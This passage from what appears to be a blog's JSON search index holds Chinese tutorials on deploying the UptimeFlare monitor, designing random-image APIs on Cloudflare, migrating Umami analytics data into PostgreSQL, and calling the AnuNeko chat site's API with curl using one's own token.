等待工作流运行结束，你应该可以在Cloudflare仪表板看见一个新的Page，新的Worker和新的D1 点开 Page，注意不要点错了 绑定你的域名，尝试访问 如果你能看到一个初始的监控页面，则正常 接下来，我们开始自定义该监控\n编辑根目录的 uptime.config.ts\n如果服务故障如何做通知？\nUptimeFlare非常自由，你可以在 callbacks 中编写故障时要做的任何事情，这里以发送 POST 请求让 Resend 发送邮件给你举例\n首先前往 https://resend.com/\n添加一个域名（作为你的发信域名） 创建一个发信API Key 添加环境变量： RESEND_API_KEY 将其绑定到 Action\n编辑 uptime.config.ts 的 webhook.payload 部分\n示例代码：\npayload: { \u0026#34;from\u0026#34;: \u0026#34;系统状态更新 \u0026lt;uptimeflare@update.2x.nz\u0026gt;\u0026#34;, \u0026#34;to\u0026#34;: [\u0026#34;acofork@foxmail.com\u0026#34;], \u0026#34;subject\u0026#34;: \u0026#34;UptimeFlare 状态更新\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;$MSG\u0026#34; }, 接下来，当服务故障/重新上线就会通知你啦~ 最终效果： https://ok.2x.nz\n","permalink":"https://blog.2x.nz/posts/uptimeflare/","summary":"\u003ch1 id=\"从kv迁移\"\u003e从KV迁移\u003c/h1\u003e\n\u003cp\u003e由于原项目于26/1/3将数据存储从KV迁移到了D1，并且配备了完备的i18n，如果你仍在运营旧版的UptimeFlare，建议升级，下面是迁移教程\u003c/p\u003e\n\u003cp\u003e首先，将你之前配置的Cloudflare API令牌添加一个新的权限 \u003cstrong\u003e编辑D1\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e然后备份根目录的 \u003ccode\u003euptime.config.ts\u003c/code\u003e ，直接 把原仓库删了（但是不要删KV，Worker，Page），Fork我的仓库\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/UptimeFlare\"\u003eafoim/UptimeFlare\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e接下来编辑新的 \u003ccode\u003euptime.config.ts\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参阅 \u003ca href=\"https://github.com/afoim/UptimeFlare/blob/main/uptime.config.ts\"\u003eUptimeFlare/uptime.config.ts at main · afoim/UptimeFlare\u003c/a\u003e 主要就是将自定义callback迁移到官方的WebHook方法\u003c/p\u003e\n\u003cp\u003e编辑后推送，会自动触发Github Action的自动部署，它会自动将KV内的数据迁移到D1\u003c/p\u003e\n\u003cp\u003e这迁移到D1何意味\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-16.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e本来这个教程应该是永远都不会出的，因为在此之前，我曾经给大家介绍了一个无需自托管的监控服务：\u003ca href=\"/posts/uptimerobot/\"\u003eUptimeRobot\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e但是，就在最近我再次查看控制台，发现之前创建的监控全部都没了，咱也不知道是被官方删了还是号被黑客大手子肘击了，总之，我现在不得不要重建监控服务了\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e首先，UptimeFlare是一个基于Cloudflare Worker+D1的监控服务\u003c/p\u003e\n\u003cp\u003e它的原理非常简单，一共由三个部分组成\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e前端\u003c/strong\u003e：放在Cloudflare Page，用于给用户展示zhandianzhuangt\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e后端\u003c/strong\u003e：放在Cloudflare Worker，通过 Worker 自带的 \u003cstrong\u003eCron\u003c/strong\u003e 每分钟 检查站点状态，并将状态持久化进 \u003cstrong\u003eD1\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-1.webp\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-14.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我们需要 \u003cstrong\u003eFork\u003c/strong\u003e 项目，建议Fork我的项目（由于原项目不知道为什么不给在某些地方注入环境变量，所以建议Fork我的）\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/UptimeFlare\"\u003eafoim/UptimeFlare\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e首先，我们先尝试将其部署到Cloudflare\u003c/p\u003e\n\u003cp\u003e创建一个Cloudflare API Token \u003cstrong\u003e编辑Workers\u003c/strong\u003e 和 \u003cstrong\u003eD1\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接下来将该Token绑定到你的Github仓库\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后，来到 \u003ccode\u003eAction\u003c/code\u003e 页面，手动创建一个 \u003ccode\u003eDeploy to Cloudflare\u003c/code\u003e 的工作流\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e等待工作流运行结束，你应该可以在Cloudflare仪表板看见一个新的Page，新的Worker和新的D1\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点开 Page，注意不要点错了\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e绑定你的域名，尝试访问\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-9.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你能看到一个初始的监控页面，则正常\n\u003cimg loading=\"lazy\" src=\"/posts/uptimeflare/img/uptimeflare-10.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来，我们开始自定义该监控\u003c/p\u003e\n\u003cp\u003e编辑根目录的 \u003ccode\u003euptime.config.ts\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e如果服务故障如何做通知？\u003c/p\u003e\n\u003cp\u003eUptimeFlare非常自由，你可以在 \u003ccode\u003ecallbacks\u003c/code\u003e 中编写故障时要做的任何事情，这里以发送 \u003ccode\u003ePOST\u003c/code\u003e 请求让 \u003ccode\u003eResend\u003c/code\u003e 发送邮件给你举例\u003c/p\u003e","title":"超高校级的监控服务：UptimeFlare！基于CF Worker！自托管！声明式！新手友好！"},{"content":"探索架构 我们先不讲一个抽象的概念，我们首先来做一个小项目\n一个随机图API，每次请求都返回不同的图片\n你会怎么做？\n有非常多的解决方案，就拿最简单的一说，我们可以先搞来一个服务器，然后往里面塞图片，最后写一个脚本创建一个Web服务器，接收客户端请求，每一个请求都从图片库里抽一张图返回\n能实现吗？\n当然可以！这是你的流程图！\nflowchart TD A[客户端请求GET /random] B[Web 服务器接收请求] C[从图片目录读取图片列表] D[随机选择一张图片] E[读取图片文件内容] F[构造 HTTP 响应Content-Type: image/*] G[返回图片给客户端] A --\u003e B B --\u003e C C --\u003e D D --\u003e E E --\u003e F F --\u003e G 但也会带来一些问题，比如，图片存在本地，给客户端响应图片的时候走的是你机子的流量，那么你就需要一个 高带宽 的服务器，这无疑是一个 高昂 的成本\n那可能你会有新的方案： 前后端分离 （逻辑与资产分离），只将返回这个图片的逻辑存放在服务器上，而图片存到其他地方，如对象存储（Cloudflare R2）、IPFS等等\nflowchart TD A[客户端请求GET /random] B[随机图逻辑服务器] C[读取图片索引 / 元数据] D[随机选择一张图片] E[生成图片访问地址R2 / IPFS / 对象存储] F[返回 302 重定向Location: 图片URL] G[客户端请求图片资源] H[对象存储 / IPFS / CDN] I[返回图片数据给客户端] A --\u003e B B --\u003e C C --\u003e D D --\u003e E E --\u003e F F --\u003e G G --\u003e H H --\u003e I 那么问题又来了，假如说你的项目太多人用了，那你的服务器性能可能不够，在后期，你仍然需要一个 高昂 的 维护成本\n那么那么那么，现在是 2025 年，传统的架构已经无法满足我们了，我们不妨可以试试 云函数 仍然是前后端分离，我们现在将逻辑放到一个函数上面，如Cloudflare Worker、EdgeOne Function、Vercel Function等等\nflowchart LR Client[客户端] subgraph Logic[逻辑层（云函数 / API）] A[接收 /random 请求] B[读取图片索引] C[随机选择图片] D[生成访问地址] E[返回 302 重定向] end subgraph Assets[资产层（静态资源）] F[CDN / IPFS Gateway] G[对象存储R2 / S3 / COS] end Client --\u003e A A --\u003e B B --\u003e C C --\u003e D D --\u003e E E --\u003e Client Client --\u003e F F --\u003e G 那么现在是不是无敌了？\n并非，虽然前端因为使用了 云函数 也就是直接接入了CDN，高并发已经不是问题了，但是由于资产并不直接托管在 云函数 中，云函数 仍然需要创建一个长连接从你的后端，如对象存储获取图片，这样一折腾，你的服务可能并不算快\n有人就会说了，那既然现在我都把我服务器丢了，前端在云，后端也在云，为什么不直接让前端的云直接存储后端的资产呢？\n当然可以！你已经非常接近最佳实践了！\n绝大部分 云函数 都支持动静结合，也就是支持你在他们的云存放一些动态脚本，再顺便 存放静态资产\n那么接下来，你就得到了一个完全不需要你买服务器托管，也不需要你担心存储爆仓导致天价账单的随机图\u0026hellip;了吗？\nflowchart TB C1[客户端1] C2[客户端2] C3[客户端3] A1[请求API] A2[请求API] A3[请求API] F1[云函数节点1] F2[云函数节点2] F3[云函数节点3] R1{抽选一张图片} R2{抽选一张图片} R3{抽选一张图片} S[云函数静态资产] C1 --\u003e A1 --\u003e F1 --\u003e R1 C2 --\u003e A2 --\u003e F2 --\u003e R2 C3 --\u003e A3 --\u003e F3 --\u003e R3 R1 --\u003e S R2 --\u003e S R3 --\u003e S 探索随机图（随机URL）的本质 我们刚刚只是在抽象的说明某种架构 好像 可行，好像 又有什么问题，然后又有一种什么新思路 好像 可以解决这个问题\n但我们要走的路才刚刚开始，我们不妨思考一下，随机图，又或者说随机URL这类项目，服务器（如果有）究竟发送了什么给客户端，客户端又对服务器发回的报文执行了什么动作\n你肯定知道，如果想要客户端每次请求同一个URL，都返回不同的东西，那肯定是服务器针对每一个请求都返回了不同的响应，它可以是内部的，比如直接在响应体塞图片，又或者也可以是 重定向\n直接在响应体塞图片很简单，在客户端是不可见的，当客户端请求API时，服务器直接将选中的图片作为响应体发出，在客户端看来，就好像是请求了一张图片，只不过每次刷新都不一样\n而响应 重定向 就更简单了，只需要让服务器发送一个 临时重定向 的状态码，比如 302\n有人就会说了，为什么必须要 临时重定向 ？\n因为你肯定是想要客户端每次刷新都返回不同的图，一旦你使用了 永久重定向 如 301 ，客户端在收到 301 的那一刻就会在浏览器里写一个记录：下次访问这个URL直接重定向，不再请求服务器 ，这就会导致你的随机图API真的就变成一张图片了\n那么，这两种方法哪种更好呢？\n各有利弊，一句话说明：直接返回MIME类型是连请求复用，仅需一次请求即可得到图片。而返回302重定向至少需要客户端请求两次\n这得看你的实际架构，如果说你是前后端分离，即逻辑和资产不在一个地方，肯定是 302 好，因为如果你直接在响应体塞图片，就相当于你的服务器作为 代理 让客户端访问你的资产，流量全部走你服务器\n而如果说你前后端都在一起，正常情况下来说，一次请求复用肯定是比两次连接更快的，不过为了方便管理和统计，我的大部分API仍然使用 302 重定向\nafoim/EdgeOne_Function_PicAPI\n上线的API： https://eopfapi.acofork.com/pic?img=ua\n奇技淫巧1：利用Cloudflare Origin Rules实现无计费的随机URL Video: https://www.bilibili.com/video/BV19ZBzB8EDQ/ 起因于有一天一位粉丝在我视频下留言 他提到的仓库为\nMabbs/cf-hitokoto\n大致为，Cloudflare在规则提供一个方法，该方法可以在规则层生成一个UUID，而UUID每次都是随机的，我们可以依据此来在规则层做随机URL\n理论可行，实践开始\n首先，我们要知道UUID是一串带有连字符的随机数，而每一位有16种可能，我们可以仅截取前4位，也就是 16^4 ，共能存储65536张图，每一张图可以分配到一个唯一的UUID，接下来让CF边缘在收到请求的时候，生成UUID，然后直接拼接URL请求静态资产，如 /img/0000.webp ，再返回给客户端即可\n那如果说我图比这多呢？加一位，16^5 = 1048576，够用了吧 那如果说我图比这少呢？那我们可以让图片填充，说个极端的例子，假如你只有2张图，每张图创建32768个副本即可，依此类推\nflowchart TD A[客户端请求GET /h] B[Cloudflare 边缘节点] C{Transform Rules是否匹配?} D[Rewrite URL动态重写 Path] E[按原路径处理] F[生成随机字符串uuidv4 + random_seed] G[取前三位十六进制字符substring 0~3] H[拼接新路径/h/abc.jpg] I[Cloudflare Pages 静态站点] J[命中 dist/h/abc.jpg] K[直接返回图片资源] L[客户端接收随机图片] A --\u003e B B --\u003e C C -- 是 --\u003e D C -- 否 --\u003e E D --\u003e F F --\u003e G G --\u003e H H --\u003e I I --\u003e J J --\u003e K K --\u003e L afoim/cf-rule-random-url\n上线的API： https://img.072103.xyz/h | https://img.072103.xyz/v\n奇技淫巧2：丢掉后端，让前端JS自己拼URL Video: https://www.bilibili.com/video/BV1tNB4BEEaE/ Video2: https://www.bilibili.com/video/BV1mMBKBREkB/\n把思路打开，我们真的需要一个 请求一个端点，返回一个随机内容 的东西吗\n如果只是想在我们的网站上用上随机图，那是不是可以让客户端JavaScript代劳呢\n大致原理为编写一个客户端JS，生成一个随机数，然后拼接URL得到最终的随机图，然后寻找需要替换为随机图的img容器或者背景图容器，替换其中内容\nflowchart LR subgraph build[\"构建期\"] direction LR src[\"原始图片\"] --\u003e buildjs[\"build.js\"] buildjs --\u003e static[\"静态图片库\"] buildjs --\u003e randomjs[\"random.js\"] end subgraph runtime[\"运行期（浏览器）\"] direction LR exec[\"random.js 执行\"] --\u003e pick[\"随机选图\"] --\u003e dom[\"DOM 注入\"] end randomjs --\u003e exec afoim/Static_RandomPicAPI\n上线的 API： https://pic1.acofork.com\n总结 我们共探索了三种流派\n传统派：中规中矩，在边缘函数找图，取图 极客派：通过CF的规则实现在边缘找图，取图，但是不计费 环保派：通过客户端JS直接在浏览器上实现找图，取图，改图 ","permalink":"https://blog.2x.nz/posts/random-url-gen/","summary":"\u003ch1 id=\"探索架构\"\u003e探索架构\u003c/h1\u003e\n\u003cp\u003e我们先不讲一个抽象的概念，我们首先来做一个小项目\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一个随机图API，每次请求都返回不同的图片\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e你会怎么做？\u003c/p\u003e\n\u003cp\u003e有非常多的解决方案，就拿最简单的一说，我们可以先搞来一个服务器，然后往里面塞图片，最后写一个脚本创建一个Web服务器，接收客户端请求，每一个请求都从图片库里抽一张图返回\u003c/p\u003e\n\u003cp\u003e能实现吗？\u003c/p\u003e\n\u003cp\u003e当然可以！这是你的流程图！\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart TD\n    A[客户端请求\u003cbr/\u003eGET /random]\n    B[Web 服务器接收请求]\n    C[从图片目录读取图片列表]\n    D[随机选择一张图片]\n    E[读取图片文件内容]\n    F[构造 HTTP 响应\u003cbr/\u003eContent-Type: image/*]\n    G[返回图片给客户端]\n\n    A --\u003e B\n    B --\u003e C\n    C --\u003e D\n    D --\u003e E\n    E --\u003e F\n    F --\u003e G\n\u003c/pre\u003e\n\n\u003cp\u003e但也会带来一些问题，比如，图片存在本地，给客户端响应图片的时候走的是你机子的流量，那么你就需要一个 \u003cstrong\u003e高带宽\u003c/strong\u003e 的服务器，这无疑是一个 \u003cstrong\u003e高昂\u003c/strong\u003e 的成本\u003c/p\u003e\n\u003cp\u003e那可能你会有新的方案： \u003cstrong\u003e前后端分离\u003c/strong\u003e （逻辑与资产分离），只将返回这个图片的逻辑存放在服务器上，而图片存到其他地方，如对象存储（Cloudflare R2）、IPFS等等\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart TD\n    A[客户端请求\u003cbr/\u003eGET /random]\n    B[随机图逻辑服务器]\n    C[读取图片索引 / 元数据]\n    D[随机选择一张图片]\n    E[生成图片访问地址\u003cbr/\u003eR2 / IPFS / 对象存储]\n    F[返回 302 重定向\u003cbr/\u003eLocation: 图片URL]\n    G[客户端请求图片资源]\n    H[对象存储 / IPFS / CDN]\n    I[返回图片数据给客户端]\n\n    A --\u003e B\n    B --\u003e C\n    C --\u003e D\n    D --\u003e E\n    E --\u003e F\n    F --\u003e G\n    G --\u003e H\n    H --\u003e I\n\u003c/pre\u003e\n\n\u003cp\u003e那么问题又来了，假如说你的项目太多人用了，那你的服务器性能可能不够，在后期，你仍然需要一个 \u003cstrong\u003e高昂\u003c/strong\u003e 的 \u003cstrong\u003e维护成本\u003c/strong\u003e\u003c/p\u003e","title":"完全免费！从架构，开发到部署，一条龙实打实的教你做一言/随机图等随机URL的最佳实践"},{"content":"正式开始 首先，我们想要迁移，首先肯定是要拿到原来的Umami Cloud存放的数据\n在 Umami Cloud Data | Settings 中，我们可以选择，导出数据（Export） 当数据准备好后（几分钟左右），你的邮箱会收到一封Umami Cloud发来的邮件 下载下来的文件是一个以UUID命名的ZIP压缩包，将其解压可以得到3个CSV文件 其中，只有 website_event.csv 有用，其他两个文件仅有表头，无数据\n这样，我们就成功拿到了旧Umami数据\n接下来，我们需要在本地部署Umami PostgreSQL版本的 最新版 （目前版本为 3.x）（部署教程略）\n然后我们还需要安装一个CSV编辑软件： SmoothCSV - The ultimate CSV editor for macOS \u0026amp; Windows\n在本地Umami中新建一个网站，Umami会随机为你生成一个UUID\n接下来我们需要在你的终端安装一个图形化管理PostgreSQL的软件： pgAdmin - PostgreSQL Tools\n然后连上数据库，你将可以看到这些表 接下来我们查看 website 这张表，将 website_event.csv 打开，查看旧的 website_id 将新的ID改为旧的，这样才能数据匹配 接下来，我们正式开始数据导入，由于导入后的数据有两个 session_id 字段，而在Umami自我管理的过程中这个 session_id 字段是 唯一约束的 ，我们需要先解除这个限制，在正式上线前还要再加回这个限制（后面会说）\n让我们删除主键约束和索引\nALTER TABLE session DROP CONSTRAINT session_pkey; DROP INDEX session_session_id_key; 接下来，我们需要将数据配对，我们先查看 website_event.csv 这张表。这里应该只有表头，没有数据（我有是因为我已经导入完成了，教程是后写的）\n注意顺序 如： event_id website_id session_id \u0026hellip;\n编辑CSV文件，你需要将顺序配对，并且删除表中没有的列，如： browser os \u0026hellip; 确保数据库中的表头顺序和CSV文件中的表头顺序一一对应，顺序一致，不多不少后，Ctrl + S 保存 CSV文件，我们开始导入并在选项中勾选 标题\n导入成功后如图 再编辑 session 这张表，手法同上，导入成功后如图 接下来打开本地Umami的WebUI，查看数据是否有异常 确保导入后数据无异常后，我们开始删除另一条 session_id 记录并回锁主键。否则上线后Umami将无法再向表中插入数据\nSELECT session_id, COUNT(*) FROM public.session GROUP BY session_id HAVING COUNT(*) \u0026gt; 1; -- 保留最早的 created_at DELETE FROM public.session WHERE ctid NOT IN ( SELECT MIN(ctid) FROM public.session GROUP BY session_id ); ALTER TABLE public.session ADD CONSTRAINT session_id_unique UNIQUE (session_id); 至此，迁移工作结束\n","permalink":"https://blog.2x.nz/posts/umami-migration/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先，我们想要迁移，首先肯定是要拿到原来的Umami Cloud存放的数据\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"https://cloud.umami.is/settings/data\"\u003eUmami Cloud Data | Settings\u003c/a\u003e 中，我们可以选择，导出数据（Export）\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e当数据准备好后（几分钟左右），你的邮箱会收到一封Umami Cloud发来的邮件\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e下载下来的文件是一个以UUID命名的ZIP压缩包，将其解压可以得到3个CSV文件\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e其中，只有 \u003ccode\u003ewebsite_event.csv\u003c/code\u003e 有用，其他两个文件仅有表头，无数据\u003c/p\u003e\n\u003cp\u003e这样，我们就成功拿到了旧Umami数据\u003c/p\u003e\n\u003cp\u003e接下来，我们需要在本地部署Umami PostgreSQL版本的 \u003cstrong\u003e最新版\u003c/strong\u003e （目前版本为 3.x）（部署教程略）\u003c/p\u003e\n\u003cp\u003e然后我们还需要安装一个CSV编辑软件： \u003ca href=\"https://smoothcsv.com/\"\u003eSmoothCSV - The ultimate CSV editor for macOS \u0026amp; Windows\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在本地Umami中新建一个网站，Umami会随机为你生成一个UUID\u003c/p\u003e\n\u003cp\u003e接下来我们需要在你的终端安装一个图形化管理PostgreSQL的软件： \u003ca href=\"https://www.pgadmin.org/\"\u003epgAdmin - PostgreSQL Tools\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e然后连上数据库，你将可以看到这些表\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们查看 \u003ccode\u003ewebsite\u003c/code\u003e 这张表，将 \u003ccode\u003ewebsite_event.csv\u003c/code\u003e 打开，查看旧的 \u003ccode\u003ewebsite_id\u003c/code\u003e 将新的ID改为旧的，这样才能数据匹配\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来，我们正式开始数据导入，由于导入后的数据有两个 \u003ccode\u003esession_id\u003c/code\u003e 字段，而在Umami自我管理的过程中这个 \u003ccode\u003esession_id\u003c/code\u003e 字段是 \u003cstrong\u003e唯一约束的\u003c/strong\u003e ，我们需要先解除这个限制，在正式上线前还要再加回这个限制（后面会说）\u003c/p\u003e\n\u003cp\u003e让我们删除主键约束和索引\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eALTER\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTABLE\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esession\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eDROP\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eCONSTRAINT\u003c/span\u003e session_pkey;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eDROP\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eINDEX\u003c/span\u003e session_session_id_key;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来，我们需要将数据配对，我们先查看 \u003ccode\u003ewebsite_event.csv\u003c/code\u003e 这张表。这里应该只有表头，没有数据（我有是因为我已经导入完成了，教程是后写的）\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意顺序\u003c/strong\u003e 如： \u003ccode\u003eevent_id\u003c/code\u003e \u003ccode\u003ewebsite_id\u003c/code\u003e \u003ccode\u003esession_id\u003c/code\u003e \u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e编辑CSV文件，你需要将顺序配对，并且删除表中没有的列，如： \u003ccode\u003ebrowser\u003c/code\u003e \u003ccode\u003eos\u003c/code\u003e \u0026hellip;\n\u003cimg loading=\"lazy\" src=\"/posts/umami-migration/img/umami-migration-8.webp\"\u003e\u003c/p\u003e","title":"Umami Cloud迁移到本地踩坑记录"},{"content":"这是What 这是橘猫，会哈气（见封面\n你可以前往 AnuNeko 逗猫\n逆！ okok，注意到登陆后的请求头中有 x-token 字段 手搓个请求发发，data 携带内容\ncurl --location \u0026#39;https://anuneko.com/api/v1/msg/会话id/stream\u0026#39; \\ --header \u0026#39;x-token: 账号Token\u0026#39; \\ --header \u0026#39;Content-Type: text/plain\u0026#39; \\ --header \u0026#39;Cookie: 自动拿取\u0026#39; \\ --data \u0026#39;{\u0026#34;contents\u0026#34;:[\u0026#34;test\u0026#34;]}\u0026#39; 通了 然后还有一种情况，在遇到Pick的时候，我们要发送要选择的回复编号 发个如图请求帮橘猫选择\ncurl --location \u0026#39;https://anuneko.com/api/v1/msg/select-choice\u0026#39; \\ --header \u0026#39;x-token: 你的Token\u0026#39; \\ --header \u0026#39;Content-Type: text/plain\u0026#39; \\ --header \u0026#39;Cookie: 自动拿取\u0026#39; \\ --data \u0026#39;{\u0026#34;msg_id\u0026#34;:\u0026#34;会话id\u0026#34;,\u0026#34;choice_idx\u0026#34;:0或1}\u0026#39; 还有还有，这有个橘猫和黑猫，如何切换一个会话的猫？\ncurl --location \u0026#39;https://anuneko.com/api/v1/user/select_model\u0026#39; \\ --header \u0026#39;x-token: 你的Token\u0026#39; \\ --header \u0026#39;Content-Type: text/plain\u0026#39; \\ --header \u0026#39;Cookie: 自动拿取\u0026#39; \\ --data \u0026#39;{\u0026#34;chat_id\u0026#34;:\u0026#34;会话id\u0026#34;,\u0026#34;model\u0026#34;:\u0026#34;Exotic Shorthair或Orange Cat\u0026#34;}\u0026#39; 随便写了个适用于NoneBot2的插件，玩吧 AnuNeko_NoneBot2_Plugins/anuneko.py at main · afoim/AnuNeko_NoneBot2_Plugins\n","permalink":"https://blog.2x.nz/posts/anuneko/","summary":"\u003ch1 id=\"这是what\"\u003e这是What\u003c/h1\u003e\n\u003cp\u003e这是橘猫，会哈气（见封面\u003c/p\u003e\n\u003cp\u003e你可以前往 \u003ca href=\"https://anuneko.com/#/chat\"\u003eAnuNeko\u003c/a\u003e 逗猫\u003c/p\u003e\n\u003ch1 id=\"逆\"\u003e逆！\u003c/h1\u003e\n\u003cp\u003eokok，注意到登陆后的请求头中有 \u003ccode\u003ex-token\u003c/code\u003e 字段\n\u003cimg loading=\"lazy\" src=\"/posts/anuneko/img/anuneko-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e手搓个请求发发，\u003ccode\u003edata\u003c/code\u003e 携带内容\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ecurl\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--location\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;https:\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e//anuneko.com/api/v1/msg/会话id/stream\u0026#39; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--header\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;x-token:\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e账号Token\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--header\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;Content-Type:\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003etext/plain\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--header\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;Cookie:\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e自动拿取\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--data\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003e{\u003cspan style=\"color:#f92672\"\u003e\u0026#34;contents\u0026#34;\u003c/span\u003e:[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;test\u0026#34;\u003c/span\u003e]}\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通了\n\u003cimg loading=\"lazy\" src=\"/posts/anuneko/img/anuneko-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后还有一种情况，在遇到Pick的时候，我们要发送要选择的回复编号\n\u003cimg loading=\"lazy\" 